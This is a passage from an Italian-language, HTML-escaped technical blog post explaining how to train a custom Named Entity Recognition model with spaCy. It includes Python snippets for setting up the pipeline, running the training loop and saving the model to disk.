In questi casi risulta più conveniente addestrare dei propri modelli per la Named Entity Recognition, utilizzando i propri dati, che sono
stati etichettati tramite l&amp;#x27;ausilio di annotatori, come visto nella sezione precedente.&lt;/p&gt;&lt;p&gt;Seguono due esempi di addestramento di modelli custom, attraverso l&amp;#x27;utilizzo della libreria &lt;a href=&quot;https://spacy.io/&quot;&gt;&lt;strong&gt;Spacy&lt;/strong&gt;&lt;/a&gt;
e della libreria di Deep Learning &lt;a href=&quot;https://www.tensorflow.org/&quot;&gt;&lt;strong&gt;Tensorflow&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;em&gt;Visita il repository &lt;a href=&quot;https://github.com/smclab/blog-nlp&quot;&gt;&lt;strong&gt;Github&lt;/strong&gt;&lt;/a&gt; dove è presente il codice sorgente degli esempi descritto ed eseguibile in &lt;strong&gt;jupyter notebook&lt;/strong&gt; ben documentati.&lt;/em&gt;&lt;/p&gt;&lt;h4 id=&quot;spacy-1&quot;&gt;Spacy&lt;/h4&gt;&lt;p&gt;Spacy, come già detto, è una libreria di Machine Learning, dedicata completamente allo sviluppo di strumenti per i diversi task di
Natural Language Processing. Si tratta di un framework ben strutturato e con funzionalità avanzate, che fanno si che sia molto adatto anche a
contesti di produzione.&lt;br/&gt;&lt;br/&gt;
Oltre a strumenti già addestrati e rapidamente utilizzabili, come visto nella sezione precedente, fornisce tutta una
serie di api e funzioni attraverso le quali è possibile realizzare e addestrare dei propri modelli, in modo rapido ed efficiente, senza doversi preoccupare di
dover gestire tutti gli aspetti di più basso livello, che solitamente vanno affrontati durante il training e la creazione di un modello di Machine Learning.&lt;/p&gt;&lt;p&gt;Spacy fornisce delle pipeline già definite e configurabili per molti task di NLP, tra cui la Named Entity Recognition. Andiamo a vedere come addestrare rapidamente
un modello per questo task con poche linee di codice, senza dover gestire aspetti che riguardano la definizione dell&amp;#x27;architettura del modello, la gestione
dei dati, piuttosto che la gestione dei modelli.&lt;/p&gt;&lt;p&gt;In questo primo snippet di codice:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;vengono importate le librerie necessarie&lt;/li&gt;&lt;li&gt;viene definito un sample dei dati di training in formato &lt;strong&gt;jsonl&lt;/strong&gt;, che in un contesto reale dovrebbero essere invece letti da un&amp;#x27;apposito file con i dati di training&lt;/li&gt;&lt;li&gt;viene inizializzato un nuovo modello o viene caricato un modello già esistente da cui partire per l&amp;#x27;addestramento&lt;/li&gt;&lt;li&gt;viene inizializzata la pipeline per la &amp;quot;ner&amp;quot; nel modello, se questa già non è presente&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;__future__&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; unicode_literals, print_function&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; warnings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; spacy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; spacy.util &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; minibatch, compounding&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# training data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;TRAIN_DATA = [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    (&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Sharon flew to Miami last friday&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, {&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;entities&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PERSON&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;LOC&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;DATE&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)]}),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    (&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Daniele works in Rome for SMC Treviso&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, {&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;entities&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PERSON&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;LOC&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;36&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ORG&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)]}),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;output_dir=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;n_iter=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;&amp;quot;&amp;quot;Load the model, set up the pipeline and train the entity recognizer.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; model &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    nlp = spacy.load(model)  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# load existing spaCy model&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Loaded model &amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; % model)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    nlp = spacy.blank(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;en&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# create blank Language class&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Created blank &amp;#x27;en&amp;#x27; model&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# create the built-in pipeline components and add them to the pipeline&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# nlp.create_pipe works for built-ins that are registered with spaCy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ner&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nlp.pipe_names:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ner = nlp.create_pipe(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ner&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    nlp.add_pipe(ner, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# otherwise, get it so we can add labels&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ner = nlp.get_pipe(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ner&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# add labels&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; _, annotations &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; TRAIN_DATA:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; ent &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; annotations.get(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;entities&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        ner.add_label(ent[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 4 - Inzializzazione di un modello in Spacy&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Nel codice che segue è invece implementata la vera e propria logica di addestramento.&lt;br/&gt;
Inizialmente vengono filtrate le pipeline del modello, disabilitando tutte quelle non necessarie per addestrare un modello
per il riconoscimento delle entità.
Successivamente sulla base del numero iterazioni da svolgere specificato, si itera sui dati, che vengono divisi in minibatch,
e si aggiornano i parametri del modello di iterazione in iterazione. Il &lt;strong&gt;Dropout&lt;/strong&gt; può essere configurato a seconda
delle esigenze.&lt;br/&gt;
Nell&amp;#x27;esempio viene stampata la loss del modello al termine di ogni iterazione di addestramento.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# get names of other pipes to disable them during training&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;pipe_exceptions = [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ner&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;trf_wordpiecer&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;trf_tok2vec&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;other_pipes = [pipe &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pipe &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nlp.pipe_names &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pipe &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pipe_exceptions]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# only train NER&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nlp.disable_pipes(*other_pipes), warnings.catch_warnings():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# show warnings for misaligned entity spans once&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    warnings.filterwarnings(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;once&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;category&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;UserWarning&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;spacy&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# reset and initialize the weights randomly – but only if we&amp;#x27;re&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# training a new model&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; model &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        nlp.begin_training()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; itn &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(n_iter):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        random.shuffle(TRAIN_DATA)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        losses = {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# batch up the examples using spaCy&amp;#x27;s minibatch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        batches = minibatch(TRAIN_DATA, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=compounding(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4.0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;32.0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1.001&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; batch &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; batches:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            texts, annotations = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(*batch)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            nlp.update(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                texts,  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# batch of texts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                annotations,  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# batch of annotations&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;drop&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# dropout - make it harder to memorise data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;losses&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=losses,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Losses&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, losses)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 5 - Training del modello&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Infine, per terminare il processo di addestramento, il modello, in modo molto semplice, può essere salvato su disco, ed in modo altrettanto semplice,
caricato per essere essere utilizzato in contesti reali, andando a specificare il path dove il modello è stato salvato.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# save model to output directory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; output_dir &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    output_dir = Path(output_dir)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; output_dir.exists():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        output_dir.mkdir()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    nlp.to_disk(output_dir)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Saved model to&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, output_dir)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# test the saved model&lt;/span&gt;&lt;/span&gt;
